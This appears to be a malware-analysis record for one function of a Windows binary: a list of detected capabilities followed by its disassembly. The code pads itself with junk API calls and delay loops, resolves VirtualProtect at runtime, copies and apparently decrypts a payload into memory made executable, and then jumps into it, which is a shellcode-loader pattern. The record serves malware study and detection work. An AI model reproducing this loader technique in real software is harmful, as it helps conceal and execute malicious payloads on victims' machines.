Function at 0x4025e3
Capabilities:
Allocate or change rwx memory
Create directory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Manipulate console buffer
Set file attributes

Disassembly:
mov eax, 0x42561b
call fcn.00424624
sub esp, 0x54
push ebx
push esi
xor ebx, ebx
push edi
xor esi, esi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
push ebx
call edi
cmp esi, 0x207138
jg 0x402611
inc esi
cmp esi, 0x4f672
jl 0x4025f7
cmp dword [0x2be9a9c], 0x93
jne 0x4026dc
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameW]
push ebx
call dword [sym.imp.USER32.dll_OpenIcon]
xor eax, eax
lock bts dword [eax], 0
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push ebx
lea eax, [ebp - 0x34]
push eax
push ebx
push ebx
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.ole32.dll_CoGetClassObject]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
mov dword [ebp - 0x4c], 0xf
mov dword [ebp - 0x50], ebx
mov byte [ebp - 0x60], bl
push ecx
push ecx
mov eax, esp
mov dword [ebp - 4], ebx
mov dword [eax], ebx
push ecx
mov dword [eax + 4], ebx
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00402d00
fstp st(0)
push ebx
push ebx
call fcn.004030c6
push ebx
call fcn.0040316c
add esp, 0x1c
push ebx
call fcn.0040317b
pop ecx
push ebx
call fcn.0040340d
mov eax, dword [0x42b2a8]
add dword [0x2be9a9c], 0x1134b
push 0x427cdc
mov dword [0x2bea8d8], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.VirtualProtect
push eax
mov dword [0x2be952c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x2be9a9c]
mov dword [0x2be9520], eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x2be9a9c]
mov dword [0x2be9528], eax
push eax
call dword [0x2be9520]
mov esi, 0x1692e
push ebx
call dword [sym.imp.USER32.dll_SetMessageExtraInfo]
push ebx
call edi
dec esi
jne 0x40273b
mov eax, dword [0x2be9a9c]
cmp eax, ebx
jbe 0x4027a6
mov eax, dword [0x2bea8d8]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x2be9528]
mov byte [ecx + esi], al
mov eax, dword [0x2be9a9c]
cmp eax, 0x490
jne 0x4027a1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x24]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov eax, dword [0x2be9a9c]
inc esi
cmp esi, eax
jb 0x402751
xor esi, esi
lea ecx, [eax + esi]
cmp ecx, 0x8d
jne 0x4027e3
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetClassInfoW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharUpperBuffW]
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov eax, dword [0x2be9a9c]
inc esi
cmp esi, 0x38681
jl 0x4027a8
mov ecx, dword [0x2be9528]
shr eax, 3
cmp eax, ebx
jbe 0x402809
mov esi, ecx
mov edi, eax
push esi
call fcn.00401007
add esi, 8
dec edi
jne 0x4027fd
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x62
jne 0x40282a
mov dword [ebp - 0x14], ebx
add dword [ebp - 0x14], 0x6206
mov eax, dword [ebp - 0x14]
add dword [0x2be9528], eax
inc esi
cmp esi, 0x674db
jl 0x40280b
push 0x7b
pop esi
cmp dword [0x2be9a9c], 0x86
jne 0x40286b
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push str.giwodibe
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
dec esi
jne 0x402836
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2be9528]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret